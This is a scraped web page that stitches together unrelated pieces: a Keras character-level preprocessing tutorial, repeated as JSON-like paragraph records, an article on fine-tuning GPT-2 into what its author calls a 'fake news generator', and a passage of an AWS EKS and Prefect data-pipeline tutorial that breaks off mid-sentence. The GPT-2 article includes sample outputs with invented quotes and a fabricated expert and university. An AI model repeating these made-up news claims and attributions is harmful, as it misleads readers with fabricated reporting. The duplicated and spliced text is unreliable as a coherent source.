part#-----------------------Skip part start--------------------------# construct a new vocabulary alphabet="abcdefghijklmnopqrstuvwxyz0123456789-,;.!?:'\"/\\|_@#$%^&*~`+-=<>()[]{}"char_dict = {}for i, char in enumerate(alphabet): char_dict[char] = i + 1 # Use char_dict to replace the tk.word_indextk.word_index = char_dict # Add 'UNK' to the vocabulary tk.word_index[tk.oov_token] = max(char_dict.values()) + 1#-----------------------Skip part end----------------------------# Convert string to index train_sequences = tk.texts_to_sequences(train_texts)test_texts = tk.texts_to_sequences(test_texts)# Paddingtrain_data = pad_sequences(train_sequences, maxlen=1014, padding='post')test_data = pad_sequences(test_texts, maxlen=1014, padding='post')# Convert to numpy arraytrain_data = np.array(train_data)test_data = np.array(test_data)#=======================Get classes================train_classes = train_df[0].valuestrain_class_list = [x-1 for x in train_classes]test_classes = test_df[0].valuestest_class_list = [x-1 for x in test_classes]from keras.utils import to_categoricaltrain_classes = to_categorical(train_class_list)test_classes = to_categorical(test_class_list) Check out my other posts on Medium with a categorized view!GitHub: BrambleXuLinkedIn: Xu LiangBlog: BrambleXu
[ { "code": null, "e": 202, "s": 171, "text": "You can find the notebook here" }, { "code": null, "e": 356, "s": 202, "text": "The goal of this introduction is to let you know how to use Keras to preprocess text in character level. The rest of the article is organized as follows." }, { "code": null, "e": 366, "s": 356, "text": "Load data" }, { "code": null, "e": 376, "s": 366, "text": "Tokenizer" }, { "code": null, "e": 394, "s": 376, "text": "Change vocabulary" }, { "code": null, "e": 413, "s": 394, "text": "Character to index" }, { "code": null, "e": 421, "s": 413, "text": "Padding" }, { "code": null, "e": 432, "s": 421, "text": "Get Labels" }, { "code": null, "e": 480, "s": 432, "text": "First, we use pandas to load the training data." }, { "code": null, "e": 525, "s": 480, "text": "Combining column 1 and column 2 as one text." }, { "code": null, "e": 594, "s": 525, "text": "Saving the column 1 to texts and convert all sentence to lower case." }, { "code": null, "e": 668, "s": 594, "text": "When initializing the Tokenizer, there are only two parameters important." }, { "code": null, "e": 758, "s": 668, "text": "char_level=True: this can tell tk.texts_to_sequences() to process sentence in char level." }, { "code": null, "e": 852, "s": 758, "text": "oov_token='UNK': this will add a UNK token in the vocabulary. We can call it by tk.oov_token." }, { "code": null, "e": 1046, "s": 852, "text": "After call tk.fit_on_texts(texts), tk class will contain the neccery information about the training data. We can call tk.word_index to see the dictionary. Here the index of UNK is word_count+1." }, { "code": null, "e": 1189, "s": 1046, "text": "This is the character dictionary learned from the training data. But if we already have a character list, we have to change the tk_word_index." }, { "code": null, "e": 1280, "s": 1189, "text": "See I already have a character list call alphabet, we build a char_dict based on alphabet." }, { "code": null, "e": 1315, "s": 1280, "text": "We will assign a new index to UNK." }, { "code": null, "e": 1403, "s": 1315, "text": "After we get the right vocabulary, we can represent all texts by using character index." }, { "code": null, "e": 1499, "s": 1403, "text": "This step is very simple, tk.texts_to_sequences() will do this conversion automatically for us." }, { "code": null, "e": 1604, "s": 1499, "text": "We can see the string representation is replaced by index representation. We list top 5 sentence length." }, { "code": null, "e": 1723, "s": 1604, "text": "Because text have different length, we have to make all text as the same length, so the CNN can handle the batch data." }, { "code": null, "e": 1990, "s": 1723, "text": "Here we set the max sentence length as 1014. If the length of a text is smaller than 1014, the rest of the part will be padded as 0. If the length of a text is bigger than 1014, the part longer than 1014 will be truncated. So all texts will maintain the same length." }, { "code": null, "e": 2035, "s": 1990, "text": "Finally, we convert the list to Numpy array." }, { "code": null, "e": 2288, "s": 2035, "text": "First, we assign column 0 in train_df to a class_list, this 1-dimensional list contains all labels for each text. But our task is a multiclass task, so we have to convert it to a 2-dimensional array. Here we could use the to_categorical method in Keras" }, { "code": null, "e": 2356, "s": 2288, "text": "As for the test dataset, we just need to do the same process again." }, { "code": null, "e": 2395, "s": 2356, "text": "For easy use, I sum all code together." }, { "code": null, "e": 4589, "s": 2395, "text": "# write all code in one cell#========================Load data=========================import numpy as npimport pandas as pdtrain_data_source = '../data/ag_news_csv/train.csv'test_data_source = '../data/ag_news_csv/test.csv'train_df = pd.read_csv(train_data_source, header=None)test_df = pd.read_csv(test_data_source, header=None)# concatenate column 1 and column 2 as one textfor df in [train_df, test_df]: df[1] = df[1] + df[2] df = df.drop([2], axis=1) # convert string to lower case train_texts = train_df[1].values train_texts = [s.lower() for s in train_texts]test_texts = test_df[1].values test_texts = [s.lower() for s in test_texts]#=======================Convert string to index================from keras.preprocessing.text import Tokenizerfrom keras.preprocessing.sequence import pad_sequences# Tokenizertk = Tokenizer(num_words=None, char_level=True, oov_token='UNK')tk.fit_on_texts(train_texts)# If we already have a character list, then replace the tk.word_index# If not, just skip below part#-----------------------Skip part start--------------------------# construct a new vocabulary alphabet=\"abcdefghijklmnopqrstuvwxyz0123456789-,;.!?:'\\\"/\\\\|_@#$%^&*~`+-=<>()[]{}\"char_dict = {}for i, char in enumerate(alphabet): char_dict[char] = i + 1 # Use char_dict to replace the tk.word_indextk.word_index = char_dict # Add 'UNK' to the vocabulary tk.word_index[tk.oov_token] = max(char_dict.values()) + 1#-----------------------Skip part end----------------------------# Convert string to index train_sequences = tk.texts_to_sequences(train_texts)test_texts = tk.texts_to_sequences(test_texts)# Paddingtrain_data = pad_sequences(train_sequences, maxlen=1014, padding='post')test_data = pad_sequences(test_texts, maxlen=1014, padding='post')# Convert to numpy arraytrain_data = np.array(train_data)test_data = np.array(test_data)#=======================Get classes================train_classes = train_df[0].valuestrain_class_list = [x-1 for x in train_classes]test_classes = test_df[0].valuestest_class_list = [x-1 for x in test_classes]from keras.utils import to_categoricaltrain_classes = to_categorical(train_class_list)test_classes = to_categorical(test_class_list)" } ]
Conditional Text Generation by Fine Tuning GPT-2 | by Ivan Lai | Towards Data Science
Although transformer-based models have achieved good results on a range of NLP tasks in recent years, but text-generation remains a curious case. Back in September 2020, the Guardian published an impressive article purportedly written by OpenAI’s GPT-3 from scratch to much acclaim in the mainstream media, but many AI experts remained skeptical. One issue with text generation is the lack of control in the direction it takes. With GPT-3, you can give the model an introduction and instructions, but even then it takes a human editor to pick and arrange the text from multiple outputs to something cohesive. And there are other approaches, for example CTRL from Salesforce and PPLM from UberAI. In this article, we will fine-tune the Huggingface pre-trained GPT-2 and come up with our own solution: by the choice of data set, we potentially have better control of the text style and the generated content. We will be using samples from the news aggregator data set. It contains titles and hyperlinks to over 400k news articles from well known news publishers. To reduce the training time, I have randomly sampled around 10k articles from each of the 4 news categories: business, science, entertainment and health. The articles are pre-downloaded to reduce run time. We need a list of keywords from each article in the training process. There is a range of methods available, from Rake to using BERT among others, but we will stick to a simple TFIDF here as this is not our main focus. In our keywords selection, we will also allow 2-gram phrases that form a proper noun phrase, for example, “content creators”. This process is also performed offline as this only needs to be done once. Code for data download and keywords extraction can be found in my GitHub repository. The pipeline setup involves defining the tokenizer, model and data sets, followed by fine tuning with the trainer class and finally, text generation. I assume you are familiar with this general setup — this article provides a detailed walk through of the pipeline should you want a reminder. I will focus on what I do differently in order to achieve conditional text generation. You can access the full code in my Colab notebook for more details, and you are welcome to make a copy and experiment with it. In this experiment, we will use the small version of GPT-2 with 12 layers of decoders. The model was trained on 8 million web pages, and is already quite powerful in language tasks. To retain its general power in language modelling while adopting to our data set, we will freeze the bottom 6 layers by setting their parameters.requires_grad to False, and only train the top 6. This will also speed up the training since the number of backward passes is reduced. The name of the model layers can be found simply by print(model). In standard text generation fine-tuning, since we are predicting the next token given the text we have seen thus far, the labels are just the shifted encoded tokenized input (note that if we set labels=input_ids, the labels are automatically shifted inside the model — see Reference 1 below). But here we want to have more control — aside from the article text, we will also give the model a title and a list of keywords in fine tuning. We do this in our customized dataset class. Instead of the standard setup where we prepend the text with a bos_token and append with a eos_token: We will also insert the title and a list of keywords before the text, separated by special separating tokens: To aid model generalization, we introduce data augmentation by sampling and shuffling the list of keywords during training using the function join_keywords(). But no augmentation is applied during validation to retain consistency across epochs. The trainer class is then used to train the model for a small number of epochs (4 in our case) following standard practice. To test the prowess of our new fake news generator, I picked a lighthearted piece from BBC news that has been trending recently: ‘We got a lot of grief when our photo became a meme’. By using the same title and (rather subjectively) picking a few keywords from the article, let’s see what sort of spin our model can put on it. The keywords to be used are: ‘train’, ‘lads’, ‘drinking’, ‘picture’, ‘funny’ and ‘instagram’. The size of our keywords set for the corpus is quite large, but if a keyword we want to use is not in this set, we can always use a synonym from the set, or the closest one in terms of some word similarity measures. There are a few ways to generate text from the model. If we use beam search with sampling, we get sample like this: Unfortunately, all we have right now is an image that has gone viral.The picture was taken by one of the boys on Instagram and quickly went viral after it appeared to show a group of friends getting drunk at a New York City bar.As soon as the picture came out online, many people took to Twitter to express their disgust with the picture."What's wrong with this f**king train??," one user wrote.Another said: "I can't believe my eyes didn't even open."A third added: "Just saw some pictures of men being mugged in NYC... I'm so sick of these dumbasses."This content is created and maintained by a third party, and imported onto this page to help users provide their email addresses. You may be able to find more information about this and similar content at piano.io Each sentence is semantically coherent and the first three sentences are indeed related to the title, but then the article takes an unexpected turn. “What’s wrong with this f**king train?” ... I’m wondering about that too. It appears that we have some control, but perhaps not enough, as the train of “thoughts” drifts slowly off-track. Some keywords (‘train’, ‘drinking’, ‘picture’ and ‘instagram’, or their synonyms or connotations) were used in the generated text as directed. However, ‘funny’ was not used; instead we have the word ‘disgust’, which effectively sums up the mood of the piece, and this is quite possibly because of the title we chose. And how does this compare with the raw GPT-2? Using the title as the first sentence, here is an output sample from the raw model for comparison: We got a lot of grief when our photo became a meme."I'm not going to lie, I don't know how many times we've been in that kind of situation," he said. "It's hard for me to put it into words."He added: "There was no way this could have happened without the help of my family and friends who were there with us on Saturday night. We're all so proud of what they did as well." The paragraph starts off well enough, but the unintentional twist in the last sentence gave the game away. Unsurprisingly, the keywords do not feature at all. In a way, what we are trying to do is a reverse of text summarization — we try to expand a title into an article featuring the keywords, hoping that the title’s effect will permeate the entire article. In contrast, the raw GPT-2 merely continues from the first sentence, and the memory effect of the title could be more transient. Going back to our model, we could also generate text using methods like top-p (nucleus) sampling, which tend to produce more varieties. Here are some interesting ones, sounding authentic in parts, and in turns funny and disturbing. They may not be convincing, but at least they are entertaining: It was like we were being mugged and all over again.“I think it's really sad that this happened to us because people are so used by the pictures on their Instagram feeds... they just want attention," said Dr Emily Loughner-Bullock from Kings College London in England who works as an epidemiologist at King Mungol University School Of Public Health (KMU). ‘When you look back through history there have been many examples where celebrities can make headlines for quite controversial things - such is how social media has affected public health research into mental illness or addiction."The story spread online after one famous photograph emerged which showed two young men with guns talking about drug use while drinking together before another took off his shirt revealing something he had hidden under her skirt: "Nice impression but I wonder if girls don't understand what 'hooking up' looks exactly?" wrote Shilpa Khetrapal Singh Khalsa Mukherjee following Twitter users sharing similar images showing them laughing happily out loud without any justification whatsoever behind some sort action picture taken during dinner parties held between friends...There will be no further comment here due today afternoon.. When I was 12 years old my friends and family started seeing pictures from the train accident. It just made them cry so much that they took to Instagram after it happened:As far as their reactions are concerned this is all very funny but if you take out your cell phone or tablet then these people will be talking about what went down in Boston today - there's no way we could have imagined how bad things would look with photos like those... “It's hard to remember the day you started your life in this world and it was just too much for one kid. It is really sad that we can no longer celebrate those days with these photos because they were meant only as fun pictures." Join us for the world’s leading event about accelerating enterprise transformation with AI and Data by signing up todayThe internet was flooded in on Saturday morning after one man posted an extremely disturbing photograph to his Twitter account. In it he is seen sitting at home surrounded only wearing headphones – just as we have done before: The picture has gone viral! Here are some highlights from that hilarious moment...1) It's been nearly six months since I saw this image It was all very funny. It’s not like I'm going to stop posting photos because people will be more than happy with it and the memes are still growing every day on TwitterA new poster for an American Idol-themed picture that appeared in The New York Post is showing up at this week's event where fans can get drunk together (and drink too) before their favorite shows! Having taken a good look at the current state of AI-generated writing, it seems that journalists will not be replaced by technology any time soon. After all, that is the reason I published this article in the first place — how else would I be morally justified in making an effective fake news generator so readily available on the internet? Huggingface GPT-2 documentHuggingface Transformers ExamplesHow to generate text: using different decoding methods for language generation with TransformersThe Illustrated GPT-2 by Jay AlammarFine Tuning GPT-2 for Magic the Gathering Flavour Text GenerationIan Porter’s GPT-2 tutorial Huggingface GPT-2 document Huggingface Transformers Examples How to generate text: using different decoding methods for language generation with Transformers The Illustrated GPT-2 by Jay Alammar Fine Tuning GPT-2 for Magic the Gathering Flavour Text Generation Ian Porter’s GPT-2 tutorial
[ { "code": null, "e": 519, "s": 172, "text": "Although transformer-based models have achieved good results on a range of NLP tasks in recent years, but text-generation remains a curious case. Back in September 2020, the Guardian published an impressive article purportedly written by OpenAI’s GPT-3 from scratch to much acclaim in the mainstream media, but many AI experts remained skeptical." }, { "code": null, "e": 868, "s": 519, "text": "One issue with text generation is the lack of control in the direction it takes. With GPT-3, you can give the model an introduction and instructions, but even then it takes a human editor to pick and arrange the text from multiple outputs to something cohesive. And there are other approaches, for example CTRL from Salesforce and PPLM from UberAI." }, { "code": null, "e": 1079, "s": 868, "text": "In this article, we will fine-tune the Huggingface pre-trained GPT-2 and come up with our own solution: by the choice of data set, we potentially have better control of the text style and the generated content." }, { "code": null, "e": 1439, "s": 1079, "text": "We will be using samples from the news aggregator data set. It contains titles and hyperlinks to over 400k news articles from well known news publishers. To reduce the training time, I have randomly sampled around 10k articles from each of the 4 news categories: business, science, entertainment and health. The articles are pre-downloaded to reduce run time." }, { "code": null, "e": 1859, "s": 1439, "text": "We need a list of keywords from each article in the training process. There is a range of methods available, from Rake to using BERT among others, but we will stick to a simple TFIDF here as this is not our main focus. In our keywords selection, we will also allow 2-gram phrases that form a proper noun phrase, for example, “content creators”. This process is also performed offline as this only needs to be done once." }, { "code": null, "e": 1944, "s": 1859, "text": "Code for data download and keywords extraction can be found in my GitHub repository." }, { "code": null, "e": 2323, "s": 1944, "text": "The pipeline setup involves defining the tokenizer, model and data sets, followed by fine tuning with the trainer class and finally, text generation. I assume you are familiar with this general setup — this article provides a detailed walk through of the pipeline should you want a reminder. I will focus on what I do differently in order to achieve conditional text generation." }, { "code": null, "e": 2450, "s": 2323, "text": "You can access the full code in my Colab notebook for more details, and you are welcome to make a copy and experiment with it." }, { "code": null, "e": 2912, "s": 2450, "text": "In this experiment, we will use the small version of GPT-2 with 12 layers of decoders. The model was trained on 8 million web pages, and is already quite powerful in language tasks. To retain its general power in language modelling while adopting to our data set, we will freeze the bottom 6 layers by setting their parameters.requires_grad to False, and only train the top 6. This will also speed up the training since the number of backward passes is reduced." }, { "code": null, "e": 2978, "s": 2912, "text": "The name of the model layers can be found simply by print(model)." }, { "code": null, "e": 3271, "s": 2978, "text": "In standard text generation fine-tuning, since we are predicting the next token given the text we have seen thus far, the labels are just the shifted encoded tokenized input (note that if we set labels=input_ids, the labels are automatically shifted inside the model — see Reference 1 below)." }, { "code": null, "e": 3459, "s": 3271, "text": "But here we want to have more control — aside from the article text, we will also give the model a title and a list of keywords in fine tuning. We do this in our customized dataset class." }, { "code": null, "e": 3561, "s": 3459, "text": "Instead of the standard setup where we prepend the text with a bos_token and append with a eos_token:" }, { "code": null, "e": 3671, "s": 3561, "text": "We will also insert the title and a list of keywords before the text, separated by special separating tokens:" }, { "code": null, "e": 4040, "s": 3671, "text": "To aid model generalization, we introduce data augmentation by sampling and shuffling the list of keywords during training using the function join_keywords(). But no augmentation is applied during validation to retain consistency across epochs. The trainer class is then used to train the model for a small number of epochs (4 in our case) following standard practice." }, { "code": null, "e": 4461, "s": 4040, "text": "To test the prowess of our new fake news generator, I picked a lighthearted piece from BBC news that has been trending recently: ‘We got a lot of grief when our photo became a meme’. By using the same title and (rather subjectively) picking a few keywords from the article, let’s see what sort of spin our model can put on it. The keywords to be used are: ‘train’, ‘lads’, ‘drinking’, ‘picture’, ‘funny’ and ‘instagram’." }, { "code": null, "e": 4677, "s": 4461, "text": "The size of our keywords set for the corpus is quite large, but if a keyword we want to use is not in this set, we can always use a synonym from the set, or the closest one in terms of some word similarity measures." }, { "code": null, "e": 4793, "s": 4677, "text": "There are a few ways to generate text from the model. If we use beam search with sampling, we get sample like this:" }, { "code": null, "e": 5560, "s": 4793, "text": "Unfortunately, all we have right now is an image that has gone viral.The picture was taken by one of the boys on Instagram and quickly went viral after it appeared to show a group of friends getting drunk at a New York City bar.As soon as the picture came out online, many people took to Twitter to express their disgust with the picture.\"What's wrong with this f**king train??,\" one user wrote.Another said: \"I can't believe my eyes didn't even open.\"A third added: \"Just saw some pictures of men being mugged in NYC... I'm so sick of these dumbasses.\"This content is created and maintained by a third party, and imported onto this page to help users provide their email addresses. You may be able to find more information about this and similar content at piano.io" }, { "code": null, "e": 5897, "s": 5560, "text": "Each sentence is semantically coherent and the first three sentences are indeed related to the title, but then the article takes an unexpected turn. “What’s wrong with this f**king train?” ... I’m wondering about that too. It appears that we have some control, but perhaps not enough, as the train of “thoughts” drifts slowly off-track." }, { "code": null, "e": 6214, "s": 5897, "text": "Some keywords (‘train’, ‘drinking’, ‘picture’ and ‘instagram’, or their synonyms or connotations) were used in the generated text as directed. However, ‘funny’ was not used; instead we have the word ‘disgust’, which effectively sums up the mood of the piece, and this is quite possibly because of the title we chose." }, { "code": null, "e": 6359, "s": 6214, "text": "And how does this compare with the raw GPT-2? Using the title as the first sentence, here is an output sample from the raw model for comparison:" }, { "code": null, "e": 6732, "s": 6359, "text": "We got a lot of grief when our photo became a meme.\"I'm not going to lie, I don't know how many times we've been in that kind of situation,\" he said. \"It's hard for me to put it into words.\"He added: \"There was no way this could have happened without the help of my family and friends who were there with us on Saturday night. We're all so proud of what they did as well.\"" }, { "code": null, "e": 6891, "s": 6732, "text": "The paragraph starts off well enough, but the unintentional twist in the last sentence gave the game away. Unsurprisingly, the keywords do not feature at all." }, { "code": null, "e": 7222, "s": 6891, "text": "In a way, what we are trying to do is a reverse of text summarization — we try to expand a title into an article featuring the keywords, hoping that the title’s effect will permeate the entire article. In contrast, the raw GPT-2 merely continues from the first sentence, and the memory effect of the title could be more transient." }, { "code": null, "e": 7518, "s": 7222, "text": "Going back to our model, we could also generate text using methods like top-p (nucleus) sampling, which tend to produce more varieties. Here are some interesting ones, sounding authentic in parts, and in turns funny and disturbing. They may not be convincing, but at least they are entertaining:" }, { "code": null, "e": 8736, "s": 7518, "text": "It was like we were being mugged and all over again.“I think it's really sad that this happened to us because people are so used by the pictures on their Instagram feeds... they just want attention,\" said Dr Emily Loughner-Bullock from Kings College London in England who works as an epidemiologist at King Mungol University School Of Public Health (KMU). ‘When you look back through history there have been many examples where celebrities can make headlines for quite controversial things - such is how social media has affected public health research into mental illness or addiction.\"The story spread online after one famous photograph emerged which showed two young men with guns talking about drug use while drinking together before another took off his shirt revealing something he had hidden under her skirt: \"Nice impression but I wonder if girls don't understand what 'hooking up' looks exactly?\" wrote Shilpa Khetrapal Singh Khalsa Mukherjee following Twitter users sharing similar images showing them laughing happily out loud without any justification whatsoever behind some sort action picture taken during dinner parties held between friends...There will be no further comment here due today afternoon.." }, { "code": null, "e": 9179, "s": 8736, "text": "When I was 12 years old my friends and family started seeing pictures from the train accident. It just made them cry so much that they took to Instagram after it happened:As far as their reactions are concerned this is all very funny but if you take out your cell phone or tablet then these people will be talking about what went down in Boston today - there's no way we could have imagined how bad things would look with photos like those..." }, { "code": null, "e": 9409, "s": 9179, "text": "“It's hard to remember the day you started your life in this world and it was just too much for one kid. It is really sad that we can no longer celebrate those days with these photos because they were meant only as fun pictures.\"" }, { "code": null, "e": 9891, "s": 9409, "text": "Join us for the world’s leading event about accelerating enterprise transformation with AI and Data by signing up todayThe internet was flooded in on Saturday morning after one man posted an extremely disturbing photograph to his Twitter account. In it he is seen sitting at home surrounded only wearing headphones – just as we have done before: The picture has gone viral! Here are some highlights from that hilarious moment...1) It's been nearly six months since I saw this image" }, { "code": null, "e": 10258, "s": 9891, "text": "It was all very funny. It’s not like I'm going to stop posting photos because people will be more than happy with it and the memes are still growing every day on TwitterA new poster for an American Idol-themed picture that appeared in The New York Post is showing up at this week's event where fans can get drunk together (and drink too) before their favorite shows!" }, { "code": null, "e": 10405, "s": 10258, "text": "Having taken a good look at the current state of AI-generated writing, it seems that journalists will not be replaced by technology any time soon." }, { "code": null, "e": 10600, "s": 10405, "text": "After all, that is the reason I published this article in the first place — how else would I be morally justified in making an effective fake news generator so readily available on the internet?" }, { "code": null, "e": 10884, "s": 10600, "text": "Huggingface GPT-2 documentHuggingface Transformers ExamplesHow to generate text: using different decoding methods for language generation with TransformersThe Illustrated GPT-2 by Jay AlammarFine Tuning GPT-2 for Magic the Gathering Flavour Text GenerationIan Porter’s GPT-2 tutorial" }, { "code": null, "e": 10911, "s": 10884, "text": "Huggingface GPT-2 document" }, { "code": null, "e": 10945, "s": 10911, "text": "Huggingface Transformers Examples" }, { "code": null, "e": 11042, "s": 10945, "text": "How to generate text: using different decoding methods for language generation with Transformers" }, { "code": null, "e": 11079, "s": 11042, "text": "The Illustrated GPT-2 by Jay Alammar" }, { "code": null, "e": 11145, "s": 11079, "text": "Fine Tuning GPT-2 for Magic the Gathering Flavour Text Generation" } ]
Distributed data pipelines made easy with AWS EKS and Prefect | by Anna Geller | Towards Data Science
Building distributed systems for ETL & ML data pipelines is hard. If you tried implementing one yourself, you may have experienced that tying together a workflow orchestration solution with distributed multi-node compute clusters such as Spark or Dask may prove difficult to properly set up and manage. In this article, I want to show you how you can obtain a highly available, scalable, distributed system that will make the orchestration of your data pipelines for ETL & ML much more enjoyable and will free up your time to work with data and generate value out of it rather than spend time on maintaining clusters. The entire setup is, to a large extent, automated by AWS and Prefect. Plus, it will cost you almost nothing in the beginning. Why? Because I will show you how to set up a production-ready and secure workflow orchestration system with a serverless Kubernetes cluster as your distributed, fault-tolerant, highly available, self-healing & automatically scalable execution layer within minutes! All that you need to do is: create AWS account & IAM user with programmatic access to create AWS ECR, ECS & EKS resources run a few shell commands from this article to set up a Kubernetes cluster by using AWS EKS on Fargate (which will cost you just 0.10$ per hour for the control plane! Before, it was 0.20$ but AWS halved the price in early 2020) sign up for a free Prefect Cloud account (free Developer account gives you access to all features but only for you — if you want to use it in your team, you need to upgrade to either Team or Enterprise plan) generate authentification tokens within Prefect Cloud UI to connect your Prefect Cloud account to your serverless Kubernetes cluster on AWS run your distributed data pipelines and generate value out of your data! Let’s get started! In December 2019, AWS launched a new Fargate feature which, to many, was considered a game-changer — they introduced an option to use AWS EKS on ECS Fargate, which is a way of saying: AWS made the Fargate service an orchestrator not only for the ECS but also for the EKS. Up to that point, AWS Fargate was a serverless way of running containers only on AWS ECS. EKS and Fargate make it straightforward to run Kubernetes-based applications on AWS by removing the need to provision and manage infrastructure for pods. What does it mean for us? It means that we can now have a serverless Kubernetes cluster on EKS which is only charging us for running pods, rather than their underlying EC2 instances. It also means, among other benefits: no more worker node maintenance, no more guessing capacity, no more EC2 autoscaling groups to scale the worker nodes up and down. AWS takes care of all that for you. All that you need to do is to write YAML files for your deployments and interact with the EKS via kubectl. In short: your only task now is to write your ETL & ML code that adds value to your business and AWS takes care of the Ops, i.e. operating, maintaining, and scaling your Kubernetes cluster. Considering that we are charged only for the actual vCPU and memory of running pods, this provides a great foundation for a modern data platform. One possible disadvantage of using almost any serverless option is the issue of cold start when the container orchestration system needs to first allocate and prepare the compute resources (a.o. pulling the latest version of the image from the docker registry to the allocated worker node and building the image) which may add some additional latency before the container (or your K8s pod) will turn into a running state. If your data workloads require a very low level of latency, you may opt for the AWS EKS cluster with the traditional data plane and follow the instructions from this blog post to set up a non-serverless cluster on AWS EKS and to connect it to your Prefect Cloud environment. However, you can have both! AWS allows you to mix the two: you can have the same AWS EKS cluster running pods in a serverless way in the default namespace (this is set up by generating a Fargate Profile) and you can have an EC2 instance (ex. with GPU) for your Data Science models connected to the same Kubernetes cluster on EKS but within a different namespace or using different Kubernetes labels. When you then create a deployment for a pod that doesn’t match the namespace and labels defined in the Fargate Profile, it will be scheduled to the EC2-worker node which you maintain and which is available with no latency. As you can see, AWS designed EKS on Fargate with a lot of foresight which allows you to mix the serverless and non-serverless options to save your time, money, and maintenance efforts. You can find out more about that in this video in which AWS introduced the service. You need to have an AWS account with either admin access or at least a user with IAM permissions for creating ECR, EKS and ECS resources. Then, you must have AWS CLI configured for this account and eksctl installed, as described in this AWS docs. Kubernetes on AWS works well with AWS ECR, which is a registry for your Docker images. To authenticate your terminal with your ECR account, run: if you use the new AWS CLI v2: aws ecr get-login-password --region <YOUR_AWS_REGION> | docker login --username AWS --password-stdin <YOUR_ECR_REGISTRY_ID>.dkr.ecr.<YOUR_AWS_REGION>.amazonaws.com if you use the old AWS CLI version: $(aws ecr get-login --no-include-email --region <YOUR_AWS_REGION>) Note: <YOUR_AWS_REGION> could be ex. us-east-1, eu-central-1, and more. If you get Login Succeeded message, you can create your ECR repositories for your data pipelines. We will create two data pipelines: dask-k8 and basic-etl-prefect-flow — use the same names to follow this walkthrough, but in general, it’s easiest to give your ECR repository the same name as your Prefect flow to avoid confusion. aws ecr create-repository --repository-name dask-k8aws ecr create-repository --repository-name basic-etl-prefect-flow Then, all you need to do is to run the following command, which will deploy Kubernetes control plane and Fargate Profile in your VPC: eksctl create cluster --name fargate-eks --region <YOUR_AWS_REGION> --fargate I picked the name fargate-eks for the cluster, but feel free to change it. The --fargate flag ensures that we create a new Fargate profile for use with this cluster. EKS allows you to create a custom Fargate profile if needed. The provision of all resources may take several minutes. When finished, you should see output similar to this one: Then, if you check your context: kubectl config current-context You should get output similar to this one: <YOUR_AWS_USER_NAME>@fargate-eks.<YOUR_AWS_REGION>.eksctl.io This way you can see that you are connected to a serverless Kubernetes cluster running on AWS Fargate! To prove it further, run: ➜ ~ kubectl get nodesNAME STATUS ROLES AGE VERSIONfargate-ip-192-168-163-163.eu-central-1.compute.internal Ready <none> 15m v1.17.9-eks-a84824fargate-ip-192-168-180-51.eu-central-1.compute.internal Ready <none> 15m v1.17.9-eks-a84824 In the output, you should see at least 1 Fargate node waiting for your pod deployments. Note: those nodes are running inside of your VPC but they are not visible within your EC2 dashboard. You cannot SSH to those nodes either, as they are fully managed and deployed by Fargate in a serverless fashion. The advantage of combining this AWS EKS cluster with Prefect is that the entire Kubernetes pod deployment and scheduling is abstracted away from you by Prefect. This means that you don’t even need to know much about Kubernetes in order to derive value from it. In the next section, we will connect this cluster to our Prefect Cloud account and start building distributed ETL & ML data pipelines. Let’s first sign up for a free Developer account on https://cloud.prefect.io/. At first, you will be welcomed by a clean UI showing you your flows, agents, and the general overview of the recent flow runs and the next scheduled jobs. The flows themselves can be organized into several projects. When you start building your data pipelines, this main dashboard lets you quickly identify the current status of all your data pipelines. This dashboard is extremely helpful: imagine that you log into your account in the morning and see that all your pipelines are in a green status! You only need to dive deeper if you see any red bars indicating some failed data flows. I know companies who would dream of having this kind of dashboard and this level of transparency about their ETL & ML data pipelines and their status, while at the same time being able to see that all agents executing the work are healthy: at the moment you can see that I currently have a Fargate agent ready to deploy the flows on AWS ECS. For now, we focus on AWS EKS. Let’s continue with the setup and install prefect on your computer. The following command will install Prefect with AWS and Kubernetes extras (instead of [kubernetes,aws] you could use [all_extras] if you want to install all Prefect extensions to external systems): pip install "prefect[kubernetes,aws]" Now to make sure that you use Prefect Cloud and not the open-source version Prefect Core, switch the context to Cloud: prefect backend cloud After you registered for a free account, you need to create a Personal Access Token to authenticate your local terminal with Prefect Cloud. This will allow to register your flows (i.e. your ETL & ML data pipelines) to the Prefect Cloud directly from your computer. Go to the side bar: User → Personal Access Token → + CREATE TOKEN button. Choose some meaningful name ex. MyTokenToRegisterFlows. Then copy the token and within your terminal run the following commands: prefect auth login -t <MyTokenToRegisterFlows> Now you can register your flows to be orchestrated from Prefect Cloud! The last part is to create a RunnerToken for your Kubernetes Agent and to register the agent. Go to the sidebar: Team → API Tokens → + CREATE TOKEN button. Alternatively, you could do the same from your terminal: prefect auth create-token -n MyEKS_on_Fargate_K8s_Token -r RUNNER It’s very important to select the RUNNER scope, otherwise your agent will not be able to execute the flows on your behalf. Click on CREATE and copy the generated API token. Now we are reaching the most exciting part: with the command below, you will be able to set your serverless AWS Kubernetes cluster as your execution layer (i.e. agent) for your Prefect data pipelines: Now you should be able to see a new Kubernetes Agent in your Prefect Cloud account: We can also see a new pod corresponding to the Prefect agent: ➜ ~ kubectl get podsNAME READY STATUS RESTARTS AGEprefect-agent-68785f47d4-pv9kt 1/1 Running 0 5m59s Now everything is set up and we can start creating our flows. Prefect Docs include a variety of useful tutorials that will quickly show you how to adapt your Python ETL & ML code to make it run on Prefect. In a nutshell, you just need to decorate your Python functions with @task decorator, add the task and flow imports and create a flow object: Note: adding log_stdout=True ensures that the printed output will appear in the Prefect Cloud flow logs. Now we can create a project to organize our flows either from the UI or by using the terminal: ➜ prefect create project Medium_AWS_PrefectMedium_AWS_Prefect created If we now run this script, we should get a link to the Prefect Cloud UI from which we can trigger or schedule the flow: ➜ python3 basic-prefect-etl-flow.py Result check: OKFlow: https://cloud.prefect.io/anna/flow/888046e6-f366-466a-b9b5-4113cd437e4d When we trigger the flow, we will see that it stays in the scheduled state and doesn’t run. This is because to run your flows on the AWS EKS cluster, your flow must include information on where your code is stored. There are several options for how you can store your code: EKS could pull it from ECR, S3, or Github. The easiest option is to dockerize your flow and push the image to ECR. Luckily, Prefect team made it really easy — we only need to: create an ECR repository for our flow (this step can be automated with a CI/CD pipelines in your production environments) add Docker storage to the code. If you remember the AWS Setup section, we already created two ECR respositories: dask-k8 and basic-etl-prefect-flow. Therefore, we only need to add storage=Docker() argument to our flow code so that it can be executed by our serverless Kubernetes Agent: Some important notes to the code above: under the hood, Prefect checks your Prefect version and extends the corresponding Prefect Docker image to include your flow and its dependencies, make sure to set your ECR registry ID so that your flow will be dockerized and pushed to the ECR repository dask-k8 that we created earlier image_tag='latest' is used to disable versioning of your ECR images. Setting it to latest, or any other particular tag will make sure that every time you register a flow, you overwrite the previous ECR image tagged as latest. This works well for me because I already use Git to 